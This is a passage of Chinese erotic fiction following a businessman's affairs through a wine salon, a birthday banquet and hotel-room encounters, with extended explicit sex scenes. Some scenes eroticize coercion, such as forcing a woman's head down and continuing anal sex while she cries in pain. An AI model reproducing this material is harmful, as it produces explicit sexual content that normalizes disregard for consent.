图片载入中

死性不改的熟女

特大字】 【大字】 【中字】 【小字

一面镜子在某种光学原理的作用下,使得镜中的那个丰腴胴体被稍稍拉长而显出颇有些窈窕的凹凸有致,也使得镜前的那个女人洋溢出自恋的灿烂笑容。她双手抱着头,将体型摆成夸张的S左右扭动了一下,所有的线条似乎都呈现出迷人的效果,某些部位已隐约滋生的赘肉也好像被熨平了一般。

“今天穿什么好呢?”

鄢然在完成了一次醉心的自我欣赏后,拉开了衣柜,面对着琳琅得很是拥挤的各式衣装暗自嘀咕。她今天要去参加一位经销葡萄酒的朋友举办的所谓品酒沙龙,那是达官显贵云集的场合,鄢然一向很热衷于跻身其中。

这样的场合对于在商圈打拼而自己又是离异单身的鄢然而言,意义是多重要的,不但可以结交商界的朋友,可以攀附能提供各种帮助的援手,而且也还可能发生些美妙的故事。确切地说,鄢然并不能算单身,她的床榻之上有一位专为娱乐场所提供“安保”的“大哥”,正是因为他的介入才导致了她几年前的离异。

她是一个对性爱有着丰富欲求的女人,她既享受于男人或技法多变或疾风骤雨的撩拨冲击下如痴如醉、欲仙欲死的感觉,又喜欢做些把玩征服男人的游戏。

她很能揣摩和观察男人的性取向和性癖好,时常在巧妙地试探诱导某些男人之后,为他们戴上眼罩,缚住手脚,然后用跳蛋或按摩器在他们的大腿内侧、龟头、阴囊处慢慢地游走,听着他们断断续续的呻吟,看着肉棒在刺激下不安地一跳一跳,粘滑的体液从马眼处抑制不住地缓缓溢出,身体在焦躁中扭来扭去,表情复杂着怪异着。

当她感觉手中的男人开始无比渴求急欲爆发时,她会突然停下,笑着欣赏那脸上、那胯间乃至每一段肌体的变化,就象她被男人压着时欣赏她欲火焚身的样子一般,然后她会再将跳蛋或按摩器猛然用力触去,让男人在一串叫唤中颤抖不已,瞬间喷射,而她则继续握住肉棒让跳蛋或按摩器在一片浆汁中振颤,看着那被束缚住了的男人又是哆嗦又是躲闪并不住呻吟最后连连求饶的样子,她会感到象自己到达高潮般的兴奋。

她不会就此放下他们。她会在他们喘息稍定后,把那些黏黏煳煳的东西擦干洗净,然后用柔软的唇舌、嫩滑的手指以及跳蛋或按摩器再次挑逗他们,煽起欲望的余烬。

让那肉棒慢慢的抬头,慢慢地在她手中变硬、变粗,龟头发红、发亮,即便是有的男人仅仅只是一次就彻底地陷入无力的萎缩,她也很倾心于这种有些另类和有趣的感官刺激。在她手里这样把玩过的男人尽管为数不多,但身份各异,年龄各异,且有一个共同点,那就是这些人大多都是有些来头的人物……

鄢然从衣柜里挑选了一件轻薄的桑蚕丝黑色V开领低胸裙衫,搭配着白色镶嵌金色镂空提花披肩,让细滑白皙的丰满若隐若现。她又精心挑选了一条心形水晶镶钻工艺项饰、一双同样轻薄的若隐若现的黑色丝袜,戴上小巧但却瑰丽的江诗丹顿。

从一大堆五光十色的箱包中拎起一只LV,在镜子前转了一圈,感觉自己简直如同一位雍容华贵而又性感妩媚的贵妇。她看了一下表,时间还早,足够到美容院再仔细打理一番……

走廊的大理石地面上传来了熟悉的高跟鞋踩踏敲击的声响。这声响就像春日里扣动门扉或窗棂的风,让牛乃夫原本阴郁的心情感到了一丝豁然。

“娜姐,今天外面寒流来了?”

“什么?”

“哈哈,那你今天怎么裹得这么严实啊!”

“去,滚一边去!姐我感冒了。”

牛乃夫看到娜娜的装扮时,也确有那么一点点的诧异。娜娜今天穿了一身剪裁得体但式样较为保守的灰白色套装,这与她往日的形象大相径庭,脸上的神情倒是看不出有什么异常,淡淡的粉黛中仍稍稍透着一丝苍白。

“牛总,我来上班了。”

她的语调是平静的,只是还有些沙哑。

“呵呵,好,好!”

牛乃夫满脸堆笑,竭力保持着镇定。

“你怎么这么快就来上班了啊,听你说话的声音还是有些哑,你就放心多休息几天吧!”

牛乃夫也不知道这“放心”究竟是说给娜娜听的,还是说给自己听的。

“没事,在家呆着也无聊。”

娜娜看着牛乃夫,发觉他的眼神有些游移,好像有什么心事似的。娜娜心里暗暗发笑,甚至产生了某种欣慰,她以为牛乃夫还是在为那天晚上的事纠结不已着。

牛乃夫从抽屉里拿出一只红色的小盒子递给娜娜,她打开一看,里面是一对铂金镶钻耳钉,做工十分的精致。

“牛总,你这是什么意思?”

娜娜感到莫名其妙,这算什么?表白吗?补偿吗?

“呵呵,没……没什么别的意思。”

牛乃夫笑得有些干涩。

“我只是觉得这幅耳钉挺适合你的!”

其实,这幅耳钉是前几天他买了想送给娴的,只是今天一看到娜娜,不知怎么就想到送给她了。

“你就收下吧,就当是老板给员工发的福利了哦,呵呵!”

他打着哈哈,努力缓和着有些尴尬的气氛。娜娜没有再说什么,把小盒子放进了包里。

随后,牛乃夫问娜娜要不要一起去参加个品酒沙龙,娜娜说感冒还没完全好不想去,牛乃夫就关切地嘱咐她早点回家休息安心养病,自己一个人去参加品酒沙龙了。

品酒沙龙被安排在了湖边的一个高档会所内,牛乃夫到的时候停车场已几乎泊满。走进会所,牛乃夫看到沃尔堡酒业有限公司的陆总,一个体态臃肿几成球形的脸色潮红的谢顶中年男人,正在一排酒架前为众人热情介绍着自己的货品。

牛乃夫只爱喝白酒和啤酒,对葡萄酒毫无兴趣,因而只远远地和陆总打了个招唿,目光便开始从散落在大堂四周的身影里寻找可能的相识之人。

当目光移动到临湖的一排落地窗处时,有一个女人的身影似乎在朝牛乃夫招手,倾泻而入的阳光模煳了面容,却把身材幻化得很是诱人。牛乃夫从酒水桌上端了两杯红酒,朝那个女人走去,那个女人也摇曳着迎上前来。脱离了阳光的幻化,牛乃夫终于看清那是鄢然。

“哈哈,鄢总好啊!”

牛乃夫递过去一杯酒。

“上次开饭店那事怎么样啦?”

“多谢牛哥啊!现在正在做设计,过两天设计图出来了还要请牛哥给参考参考呢!”

鄢然吊着眼捎很妩媚地微笑着。

“你别老是鄢总鄢总地叫啦,太肉麻了呀!”

她轻轻挽着牛乃夫坐到一个角落里。

象征意义很强烈的披肩遮掩下V领开口处隐约透露出的白亮的饱满圆弧,让牛乃夫不得不作出一定的努力来使自己喉咙口的吞咽显得自然流畅。这一切自然逃不过鄢然的眼睛。她其实早就在莲关于牛乃夫是如何如何四处沾花惹草的不厌其烦的描述中对他产生了某种好奇。

直到那天见到了他,她很诧异牛乃夫文弱书生样的外表与莲的描述以及自己种种想像间的巨大反差,但她很快就从他的眼神里洞悉了真相,那是一种与所谓的儒雅斯文毫不相干的眼神,尽管这个男人始终在努力地伪装着,但那种眼神在她看来,与她所见识过的某些冠冕堂皇下的男人并无二致。

“牛哥,最近一直都在哪儿开心吗?”

鄢然的笑是那种很容易勾起男人许多想法地笑,在牛乃夫看来,这笑容里面似乎蕴藏着某种令人欲罢不能的东西。鄢然的笑容也暂时销蚀了他对于娴的深深忧虑。

“这几天事情一大堆,哪有功夫出去玩啊!”

牛乃夫呷了一口酒,酸酸的涩涩的,远没有茅台五粮液来得爽口,不知道鄢然是属于葡萄酒呢,还是象茅台五粮液。

“呵呵,你今天的装扮真是很有气质啊,会迷死人的哦!”

“哈哈,我都快老太婆一个了,哪能跟牛哥身边的那些小丫头们比啊!”

她轻轻地拍打了一下牛乃夫的手,笑得愈发的灿烂,那两个白亮的饱满圆弧也恰到好处地颤动了几下,有些晃眼。

“这可是莲姐告诉我的哦!”

“呵呵,我喜欢有内涵的成熟的女人,不喜欢那些疯疯癫癫的小丫头的!”

牛乃夫说的是实话,他一向对于充满风韵的成熟女人缺乏免疫功能,尤其是象娜娜、鄢然这样看上去充满布尔乔亚情调很有内涵的女人,他常常会自我陷落难以自持。此刻,他明显地感觉到有一团热热的东西在体内窜动,裤裆处承受到了被隐约撬动的压力。

他俩的话题开始变得越来越暧昧和深入,但好在这样的场合能让人保持一定的矜持与尊贵,而不时走过的相识者的彼此问候招唿,也在为那份所谓的“矜持与尊贵”提供着展示的舞台。

但在那被台布围拢着的桌子下面,牛乃夫的小腿不知是有意还是无意地贴到了鄢然的小腿上,鄢然以浑然不觉的神情与姿态迎合着他的接触,桌面之上说到投入处桌面之下两条贴着的小腿还心照不宣地晃动磨蹭几下。一切都显得那么的天衣无缝。

直到临近中午陆总过来招唿散坐在四周的宾客到自助餐台处品酒用餐时,牛乃夫才仿佛突然想起了什么,赶忙和陆总以及其他几个比较熟悉的朋友说还有要事去办,就匆匆地走了,其间自然少不了和鄢然的道别,他轻轻捏了捏她的手,两人相视一笑,似乎彼此已达成了某种默契一般。牛乃夫是要到娴那儿去,在正常情况下娴如果是乘老家过来的第一班车的话,她现在应该是已经回到那个巢穴了……

事情果然如牛乃夫预料的一般。当他打开那扇门时,一只旅行箱倒卧在客厅地上,热水器和饮水机都已打开,娴在卧室里蒙头睡觉。他悄悄地走到床头,娴的眼皮微微地动了几下,并没有真的睡着。牛乃夫端详着她,发现娴瘦了许多,脸色很差,眼圈发黑。他内心有些不忍,坐下来满是爱怜地抚摸着她的脸,脸上凉凉的。娴这时睁开了眼,象看陌生人似地看着他。

“呵呵,你总算回来了,急死我了啊!”

牛乃夫尽量轻松地笑着。

“你说的是真的吗?”

娴愣了一下,突然一把打掉了他的手,声音显得有些激动:“真的,但不是你的,是我在外面和别的男人瞎搞才有的,这样总行了吧?你满意了吧?”

牛乃夫知道娴误会了他的意思,他也知道现在绝不能再给她刺激了,否则照她的脾气说不定真会做出什么来的。

他俯下身抱住了她,她挣扎着想推开,但牛乃夫没有松手,反而更紧地抱住了她,吻了几下后用极其温柔的声音说道:“我答应过要好好照顾你的,你放心吧,有就有了啊,怕什么呀,生还是不生都听你的,我不会逼你做什么的!”

此刻,牛乃夫唯一能做的就是安慰和安抚,必须要让娴尽快地平静下来清醒下来理智下来,这样才能一步步去解决“有了”的棘手问题。

“你不要胡思乱想了,我不是个不负责任的人。这一阵你就找个小姐妹来陪陪你吧,我一有时间也过来陪你,瞧你都瘦成啥样了啊!那件事是我不好,请你一定要原谅我,我喜欢的只有你一个人!”

牛乃夫把所有关于“真挚”的演技都尽力地调动和发挥出来,声调都有些哽咽了。

娴不再挣扎,狠狠掐了他几把,嘤嘤地抽泣起来,不一会儿就在他怀里睡着了。她真的是累了。牛乃夫等她睡着后,就到附近的超市买了许多娴平时爱吃的牛奶、话梅、蛋糕、薯片、巧克力、牛肉干等等放在床边,又在枕头下面塞了整整一万元钱,临走时还留下一张字条:娴,我真的只爱你一个,真的,你要相信我……

第13章 淫靡的欢宴

小兰的生日晚宴如期而至。小兰接连给忐忑中的牛乃夫打了好几个电话,电话中一如既往地娇语绵柔,似乎根本就没发生过借款之类的事。那天,牛乃夫驱车前往时发现一路上的霓虹灯似乎亮得很早,斑斓着跳动着像是无数似曾相识的暧昧眼神里种种觊觎,路上的车辆与行人也似乎比往常更摩肩接踵,放佛在预示着会有什么事情发生的一般。

这是一家刚刚开张营业的酒店,尽管装潢得颇为富丽堂皇,但四处溢出的苯和甲醛等等的味道,还是让人感觉有些喉咙发痒眼睛发涩。当牛乃夫走进那间号牌为888的所谓豪包时,里面已是争奇斗艳,叽叽喳喳一片。

小兰、莲、婷婷、鄢然都在其中,还有几个不认识的男女。女人们像是斗秀的一般,一个个都妆扮得令人目眩,尤其是小兰一身粉红色丝绸圆领露肩的礼服装,黑色的网眼丝袜,以及同样是粉红色的金属细跟高跟鞋,把她渲染得更为性感妖娆,只是那蓬松的发型让牛乃夫不知怎么想起了鸟窝或是草堆的形状。

很显然,牛乃夫不是今天晚宴的第一男配角。小兰的身边坐着一位与牛乃夫年龄大致相仿并有着相同款式眼镜的男人,但除了表明他可能视力不佳外,找不出一丝与眼镜所代表的某些特定含义有关联的东西,粗短的脖子以及粗短的手上挂着的羊脂白玉牌和戴着的玫瑰金镶钻手表、很少能见到的纯翡翠方戒,还有极具阶层象征的肚腩,都昭示着这个男人颇有些来头。

几个相熟的女人都和牛乃夫打着招唿,婷婷的脸不出所料地微微红了一下。

小兰今天忽然多了几分矜持,很得体地为牛乃夫介绍着其他几个陌生的面孔,牛乃夫也很有风度地与每一个陌生的面孔握着手交换着名片,一切都符合着所谓特定阶层必须的程序与表象,即便是两个与小兰一个公司的“打工”级男同事也是一付高雅气派。牛乃夫知道了那个与他有着相同款式眼镜的男人是一家颇具规模的装潢公司的老板,姓黄,这家酒店也是他名下的。

生日晚宴即将在看似祥和欢愉的气氛中开始。事实上,在这样的空间里一切都是牛乃夫所熟悉并习惯了的,和那几个陌生的面孔也不存在什么语言障碍,唯一让他稍稍感到有些踌躇的就是在这样的时间里自己究竟该和谁坐到一起。小兰自然有那个姓黄的陪着,可面对着莲、婷婷以及鄢然,如果一定要从亲疏程度来确定的话,无疑应该和莲坐在一起。

但莲已经装着很若无其事的样子同那两个陌生的女人坐到一起并热情地攀谈了起来,婷婷虽然偷偷地看了牛乃夫几眼最后还是坐到了小兰的身边,只有鄢然的身边留出了位置。一切都似乎刻意安排好了的一般,而这恰恰是牛乃夫此刻所想要的。

其后的过程便如无数次演练的那样按部就班,在经过了短暂的彼此装模作样后,在酒精的煽动和男女间与生俱来的微妙心理的作用下,情节愈发生动起来。

牛乃夫挑选了与姓黄的一起对饮茅台,因为他已决定今晚要尝试些什么。

许多次的经验告诉他,在各种酒类中白酒是最能让他兴趣勃发并能力倍增的助推剂,只要控制在八两以内,结果是会比较美妙的,如果觥筹交错后还有后续活动的话,那白酒只要掌握在不超过半斤,一切便不会令人沮丧与失望。

小兰很巧妙地把话题引到了筹建美容院的轨道上。牛乃夫这才知道,那两个陌生的女人原来是未来美容院的“股东”,而小兰与姓黄的关系似乎也属于比较“深厚”的那种。三个女人连同莲一边亲昵地轮番给姓黄的敬酒,一边你一言我一句地描绘着美容院美好的蓝图。牛乃夫对这些丝毫没有兴趣,他的注意力完全被身边的鄢然所吸引。

鄢然今晚妆点的很是感性。粉色的亮晶唇膏和淡紫色的眼影给人一种艳丽的感觉,卸去了披肩的黑色吊带让圆润的香肩一览无遗,被丰满的双乳撑起的黑色丝绸上泛着柔和但却律动的光泽,像是一片潋滟着的深不可测的湖面,淡淡的香水味执着地撩拨着牛乃夫的神经。

在有些微醺的状态下,牛乃夫的手搭到了鄢然的大腿上,丰腴而有弹性的肉感在裙摆和丝袜滑爽的烘托下显得性感无比。鄢然扭头看着他,只是抿着嘴微微一笑,把椅子朝里面挪了挪。

这含义复杂的微微一笑与含义简单的轻轻挪动,极大地鼓舞了牛乃夫,他的手几乎再也没离开过她的大腿。在完成了一番试探性的抚摸后,牛乃夫的手悄悄滑向了大腿根部内侧,当手指触摸到丝袜与短裤交界处的空旷地带时,鄢然下意识地夹了一下腿。

但牛乃夫并没有停止,而是轻轻地捏了一把后又开始更深入的探摸,手指很快就触碰到了内裤,薄薄的似乎还有提花,一种温热的感觉隐隐约约,内裤的边缘有几根阴毛搔动着手指。当牛乃夫刚刚用手指挑起内裤的边缘时,鄢然一下夹紧了腿,伸手拨开了牛乃夫,凑到他耳边小声娇嗔道:“你要死啊!”

姓黄的似乎对几个女人绘声绘色描述的美容院的蓝图产生了兴趣,尽管没有答应提供直接的资金支持,但承诺由他来负责设计和装潢,费用则以后再说。小兰不知是真的喝多了还是故意的,绯红着脸眼神有些迷离地靠在姓黄的肩头,一只手还时不时地在他胸口划来划去,姓黄的也是一脸的亢奋,一只手经常伸到桌下,好像和牛乃夫干着同样的勾当……

在大家吃完了餐后水果商量上哪儿继续happy时,莲说牛哥因为受不了嘈杂震撼的音乐所以不喜欢泡吧的,大家还是去KTV吧,小兰举着手舌头肿大着说ok就听牛哥的,姓黄的哈哈笑着说他也受不了闹哄哄乱糟糟的酒吧……

于是,大家决定一起去飙歌。站起身来,牛乃夫看着鄢然故意嗅了嗅刚才摸索过的手指,鄢然凑着他的脸颊边轻轻啐了一口,那一刻鄢然眼中溢出的狐媚几乎让牛乃夫不能自持……

牛乃夫对这家KTV十分熟悉,如果是带着女人或是陪同有某种需求的客人的话,他一般都安排到这儿,因为这家KTV的楼上有客房。

在包厢里面,XO马爹利已兑上了冰块与脉动,爆米花散发出浓郁的牛奶香味,莲和婷婷凑在点歌台旁翻找着歌,在大屏幕闪烁出的变幻光影里,那些或丰腴或骨感或白皙的粉肩香臂显得格外诱人,但除了莲、婷婷以及那两个陌生女人还有与小兰一个公司的两个男同事外,牛乃夫和姓黄的都似乎有些心不在焉。

这种心不在焉所造成的直接后果就是姓黄的和小兰不知什么时候消失了,在大家发现了被圈成[形的沙发上忽然变得宽敞时,两个陌生女人中的一个带着古怪笑容说道,小兰和黄总有事出去一趟的,马上就回来。

牛乃夫并没有注意到这些变化,他的手已在鄢然的背后拉起了她臀部处的裙摆,并穿过内裤抚摸在了屁股上,肉很多,很厚。鄢然用一个硕大的靠垫挡住胸腹,也掩盖住了裙摆的非正常扯动。牛乃夫的手指摸到了臀部中间的沟壑边缘,那儿有些汗津津的,鄢然用胳膊肘顶住了他,不让手指再向沟壑的深处进入。

“咱们先走吧!”

牛乃夫实在不想再在这里浪费时间。

“到哪儿去啊?”

鄢然把牛乃夫的手从背后抽了出来,但没让它离开自己的腰背,笑着明知故问道。

“呵呵,楼上有客房的,我来叫妈咪订,怎么样?”

牛乃夫用力搂了搂鄢然的腰,另一只手又插到了靠垫下面,摸在了她的小腹上,腹部的起伏显得有些急促。

鄢然用肩膀推开了他,娇嗔道:“这儿多人在这儿呢,多难看啊!”

牛乃夫呵呵笑着,拿出手机给这里的一个妈咪发了要她帮着订房的信息,然后端起酒杯扎到人堆中很热情地敬了一圈酒。莲和婷婷正在包厢中间很投入地唱着歌,他走到她们的身后各摸了一把她们的屁股,很厚颜无耻的样子。莲朝后踹了一下脚,婷婷的歌声瞬间停顿了一下。

此时,妈咪推门探进身来,朝牛乃夫招了招手。牛乃夫走到鄢然的身边一努嘴,拎起包先出去了,鄢然忸怩了一下,偷偷瞄了一眼四周,也跟了出去……

这里的客房可以用蹩脚两个字来形容,一进门鄢然就捂了捂鼻子说道:“一股什么味道啊?”

牛乃夫一把抱住了她,喷着满嘴的酒气嬉戏道:“还能是什么味道,还不都是那个地方的味道啊!”

鄢然的脸色就像晚宴上喝的干红一样,身体开始柔软了起来。因为还有一包厢的男女在下面,他俩没有作过多的缠绵与调情,就都赤裸裸的洗好澡翻滚在床。

女人一旦洗净铅华就总会呈现出某种异样的感觉,如同AV封面上PS过的女优在被活生生地剥光后有时简直判若两人一般,此刻的鄢然顿时少了许多的光鲜,脸上也暴露出与年龄相对称的痕迹。

但她丰腴的体态和光滑的肌肤,尤其是那一对饱满富有弹性的双乳,在底部呈自然的微微膨胀的圆型,两颗有些红褐色的乳头肥嘟嘟地挺立着,像是等待被吞食的葡萄,还是让酒后的牛乃夫感到了无穷的诱惑。

他轻轻搬开了她微微交错着的腿,浓密的阴毛一绺绺地束结着,整个阴部有些发黑,在一片白皙中显得格外的醒目,两瓣厚实的大阴唇就像被中间掰开的馒头,小阴唇的颜色更深,似启似合着,隐约露出里面些许的淡红。

牛乃夫一边吻着她的大腿内侧,一边仔细嗅着阴部的味道,那儿没有一丝别的异味,只有浴液的芳香与很正常的体味,他这才放心地将舌尖舔向她已经变得有些肿胀的阴蒂,手指同时也探进了业已润滑的阴道。鄢然“哦”了一声,将腿分得更开。

牛乃夫的两根手指摸到阴道前端肉褶最厚实处,猛然快速抠动起来,鄢然下体一颤,也“啊啊啊”夸张地叫唤起来,两只手抱住牛乃夫的腿朝自己身边拉了去,身子侧了过来,一条腿架到了他的头上,两个躯体摆成了69式。牛乃夫又伸进了一根手指,在里面搅动抽插,并时不时地扣住腔穴用力地抖动。

牛乃夫的小指触碰到了嫣然的菊门,嫣然的菊门处有些微微的凹陷,门缘不是很紧闭的那种,已被淫汁湿滑了小指很容易地就伸了进去,四根手指同时前后插弄着。

鄢然大声地呻吟起来,也一把抓住了他的肉棒塞进了嘴里,呜呜咽咽地又是吸吮又是舔舐,还经常将肉棒含到咽喉深处。嘴里不断发出的湿滑的啧啧声和腔穴里发出的同样湿滑的咕嗤声,让整个房间像是有干柴在烈火里被逐渐灼裂。

“呜呜……我要啦……我……我受不了啦……你……你快给我啊!”

鄢然的下体开始不停的扭动,含着肉棒的嘴里含混地叫着,牛乃夫的手指上也早已是黏稠腻滑。

“你……你带套子了吗?”

牛乃夫自从上次被妻子指出了包里经常偷偷藏有避孕套的事实后,就没敢再在包里放那些东西。

“没……没有……你快点啊……只要别……别放在里面啊!”

欲火让理智变得有些脆弱。牛乃夫翻身骑到了上面,一下戳了进去,像是要展示他的性能力一般,一上来就有力而快速地冲击起来。鄢然的神情呈现无比的陶醉状,闭着的双眼微微开启一些,只露出眼球的白色,哦哦啊啊地乱叫着,下体迎合着他的冲击拼命地耸动……

酒力让牛乃夫得到了时间上的倍增,而肉棒也似乎比清醒时更为粗壮坚硬。

他又将溺倒在快感汪洋中的鄢然半抱半拖到一张圈椅中,高高架起她的两条腿俯下身再次的戳入。这种近乎被折叠的姿势让腔穴变得既窄又短,他的每一次抽插几乎都能撞击到宫颈,而鄢然的叫声受到了挤压而变得像是窒息中的拼命喘息。

当牛乃夫感到自己快要喷发时,他就捧起她的两只脚一边含吮着微微弯曲而柔软的脚趾舔舐多肉而细腻的脚底,一边放缓了节奏在阴道口抽送着。但鄢然已完全沉浸在欲望的烈焰之中,她死死抱住了牛乃夫的腰:“快啊……不要……不要停啊……”

牛乃夫再次将她折叠起来猛烈地撞击,同时中指也再次插到了菊门里,随着肉棒的抽插而抠动着。鄢然忽然双手放开,抓住了圈椅扶手,下体高高地向上抬起,随即便是一阵颤栗,喉咙里发出很响的呜咽声,眼球的白色变得更加明显。

牛乃夫将肉棒深深地抵在宫颈处,感受着腔穴里有力的抽搐,像是被一张温热的小嘴在一下一下的吸吮。当鄢然长出一口气身体瘫软下去时,牛乃夫也感到了一股热力要迸发而出,他一把握住了肉棒的根部迅速退了出来。

此时,鄢然有些清醒了过来,满脸潮红着站起身抱住了牛乃夫,咬着牛乃夫的耳垂喘息着说道:“你……你躺下,我帮你弄出来……”

牛乃夫握着肉棒躺倒在地,鄢然却从衣服堆里抽出了一只黑色丝袜,在肉棒上松松地裹了一圈,只露出了黏煳煳的龟头,然后趴在他身上用丰满的双乳抱住了肉棒摩擦推动起来。

当牛乃夫的下体开始焦躁地扭动嘴里发出哦哦的叫唤时,她又一只手握住肉棒快速的套弄,一只手吐了些唾沫圈住龟头不停地捏动,牛乃夫几乎是低声嚎叫着一泄如注,两只手紧紧地捏住她的双乳,下体颤抖了好一会儿……

当他俩回到包厢时,小兰和姓黄的已在里面,莲和婷婷在同那两个男人玩骰盅,而那两藏书吧个陌生女人身边各自多了一个男人,搂抱着不知在窃窃私语着什么。

看到牛乃夫和鄢然进来了,小兰蹦了起来手舞足蹈着:“牛哥他们来了,点蜡烛啦,吃蛋糕啦!”

昏暗而又暧昧的灯光下的气氛,重新有了生日欢宴所应有的欢快……

第14章 血光四溅的苟合

“牛哥,最近几次小五请喝酒怎么没见着你啊?”

“小五?小五这家伙还有钱请喝酒?”

在一家叫名典的咖啡馆里,牛乃夫正和几个社会上的“兄弟”一起磕着瓜子扯着闲话,嘴角上沾着卡布基诺的白色沫子。这是几个从前的同学以及同学的同学或者同学的朋友等等,他们与牛乃夫可以说根本就是两个世界的人,但从一开始他们就趣味相投打得火热,在学校以及刚刚踏上社会时这几个兄弟没少因为牛乃夫泡同学的“马子”、追外校的女生、撬工友的女友惹出祸端而拔刀相助过。

他们曾按照年龄大小排行过,尽管牛乃夫在当时所谓的“十兄弟”中仅仅排行老八,但因为他家庭背景的不同以及本身出手的豪爽、脑袋的灵活,因此在相当长的一段时间内这个“老八”几乎成了这一群人中的“老大”,直到牛乃夫的公司越来越上了正轨业务日益繁多,他才渐渐地与他们疏离。

而他们中的绝大多数人却依然在另外的一个世界里混迹,有两个兄弟如今也成了各自区域里的“大哥”。牛乃夫一年之中总要请他们聚个三、四次,或泡澡洗脚,或酒肉穿肠,或品茶喝咖啡……

这天,牛乃夫又约了“十兄弟”一起碰头叙旧,唯独那个叫“小五”的却怎么也联系不上,好几通电话打过去都被告知“已停机”,但眼前的事实是所谓的“已停机”似乎只针对着牛乃夫,这让他的脸上显出了一丝恼怒,而在座的几个人也开始觉察到了什么。

“怎么啦?牛哥。”

问话的是“小七”,一个专干看盘护庄收水营生的在这个城市东南角已颇有些名声的家伙。

“我最近在乐巢夜总会看到他好几次了,前天他还叫老大、二哥、老六和我一起喝酒的,身边一直带着田……”

说到这儿,他突然打住了。

“啊,一直带着谁?”

牛乃夫被小七搞得一头雾水。

“田……田慧。”

当小七说出这个名字时,其他几个人都神情有些怪异地看着牛乃夫。

牛乃夫愣了一下,旋即“哈哈”的大笑了几声,引得旁边的客人都朝这儿观看,他马上压低了声音:“田慧?田慧这个骚货还在咱们这个圈子里混啊?她今年要45岁了吧?”

牛乃夫若无其事的样子让大家都放松了下来,并一同发出了很有些猥亵的笑声,小七更是对牛乃夫说道:“牛哥啊,上次你和田慧差点没把我恶心死啊,哈哈……”

几个家伙再次发出更为淫荡的笑声。

小七所说的“上次”其实已经是八、九年前的事了,而那个叫田慧的女人当时是跟着小七的。“上次”正好兄弟们在一起喝酒,小七带来了个谁都不认识的女人,但谁都能看出那个女人的年龄比所有的兄弟都要大。

田慧长得并不漂亮,一米六不到的个子是牛乃夫“接触”过的女人之中最矮的,三围显得有些夸张,第一眼见到她时牛乃夫情不自禁地想起了小时乡下看到的那些熟透了的妇人,但田慧保养良好的肤色是乡下妇人们所无法比拟的,而且性格颇为爽直,与牛乃夫他们一样大筷夹菜大口喝酒,笑声很有些感染力。

“上次”喝酒的地方曾经是某个行业管理局的办公大楼,因为被机构改革掉了,所以办公大楼就被改造成集餐饮住宿娱乐于一体的“三产”项目。那次小五也在,他当时正承包着这座大楼顶层的卡拉OK厅。

牛乃夫已记不清“上次”究竟怎么会和田慧厮混到一起的,只记得当大家都喝得脚下有些发飘后就到了小五的卡拉OK厅,在继续嘈杂一片的喝酒侃大山过程中,不知不觉田慧就和他坐到了一起,并且视小七如无物般地搂搂抱抱。兄弟们也见惯了牛乃夫的这些举动,同样地报以熟视无睹。

至于最后怎么和田慧一起进的房间,牛乃夫也已经记忆模煳了,但对于房间里的那段过程可谓印象深刻,甚至是刻骨铭心,这倒不是因为那次的过程有多么的妙到巅毫,而是小七所说的“恶心”。

牛乃夫清楚地记得那次一进房田慧就被他扒得精光,硕大的乳房下垂着乳晕很深乳头很大,同样硕大的屁股白得有些晃眼,一拨弄双乳和屁股上的肉就兴奋地摇晃跳动不已。牛乃夫也被田慧胡乱地扒成了赤条条的“四眼田鸡”,两个人冲澡后没有擦干没围浴巾就疯了似地搂抱啃舐起来。

那时候的牛乃夫正值如狼似虎之年,尽管已喝得醉眼惺忪,但肉棒却在酒力的支撑下反而像晨勃般坚硬粗壮,引得田慧紧紧地攥着肉棒一脸淫荡很夸张地大唿小叫:“哎呀,牛哥啊,你的东西比我老公的大多啦,肯定很舒服的啊!”

牛乃夫坐在一张圈椅里分开着双腿,让田慧像一条母狗般跪在胯间,抱着她的头将铁杵似的肉棒捅到嘴里,拼命地按压起来。田慧的脸很快就憋得通红,几次想挣扎着吐出肉棒换气,但都被他摁住了,只能呜呜咽咽地不停套弄,肉棒上满是口水的沫子,直到实在憋不住眼泪鼻涕都出来了她才奋力挣脱开来。

趴在他的一条腿上不住地咳嗽喘息,好半天才缓过神来,拍打着牛乃夫的腿说道:“咳咳,都……都被你插到喉咙里了,你……你想弄死我啊!”

其后两人便迅即转入了“正题”。牛乃夫仰面躺倒在床,酒力已让他有些睁不开眼,但欲火却依然剧烈地升腾翻滚。田慧为他套上了房间备有的套子,背对着他握着肉棒并没有马上骑坐下去,而是用龟头掻弄着自己的阴户,在阴蒂阴唇处不停地摩擦。

一股股酥麻的感觉让牛乃夫呻吟了起来,直到他的下体按捺不住地耸动开始寻找着那个洞穴时,她才将龟头对准了穴口,在已经泛滥的淫水中稍稍转动了几下,然后猛地坐了下去,两个人几乎同时发出了“哦”的一声……

“啊……啊……你的好大啊,都……都戳到底啦……”

田慧是当时的牛乃夫遇到的作爱最痴狂的女人。她的骑坐快速而有力,几乎成跳跃的姿态,一只手还不停地揉摸着他的阴囊,或摸弄着自己的阴蒂,好几次由于套弄的幅度过大而使得肉棒弹落出来,她就迅速地抓起塞入进去。

席梦思急促的吱嘎声,就像一叶舢板在疾风骤雨中行将散架时发出的声响。

龟头受到强烈的刺激,快感就像是疾风骤雨中的舢板似地不停撞击着牛乃夫的神经,让他的痴狂也彻底挣脱了缆绳,在她的骑坐里大声地叫唤,拼命地耸动……

她又趴下身子抱住他的腿,屁股用力地向后蹭送。牛乃夫的手不知怎么摸进了屁股中间的那条沟缝,他感到下体腻滑的淫汁有些粘手,但他没有能够想到其它。

田慧很准确地领会了他的意图,她坐起转过身来面对着牛乃夫,弄了些口水涂抹在屁眼处和套子上,握着肉棒慢慢地慢慢地对准挤入一点再挤入一点,当龟头被一圈肌肉紧紧地包裹住了后,她停顿了一会儿,然后才又慢慢地朝下坐去。

惺忪朦胧中牛乃夫似乎看到田慧伸到嘴边弄口水的手上有些别的颜色,好像是红色。

此刻,大半个肉棒都已没入了菊门并开始缓慢地套动起来,那种被紧密吞食的感觉让当时还很少玩肛交的牛乃夫转瞬就忽略了那些红色,套弄逐渐地加快,快感似乎更为强烈,牛乃夫突然猛地朝上一耸,田慧一声大叫一下扑倒在他的身上,牛乃夫抱着她不顾一切地耸动起来,还不时地抬头吸吮咬噬那两个肥硕的乳头,直把她咬得嗷嗷乱叫……

“啊……慢点啊……痛……痛啊……不要啊……慢……慢点啊……”

田慧的下体用力地压着双腿也用力地夹着,想让牛乃夫的耸动轻缓一些,但他并没有慢下来,她紧紧地搂着他的脖颈,头在他的颈边像是很痛苦地磨来蹭去,但渐渐的两个人的下体纳入了同一个节奏,菊门也不再像开始时那么的紧窄艰涩,田慧随着牛乃夫的耸动一起套动……

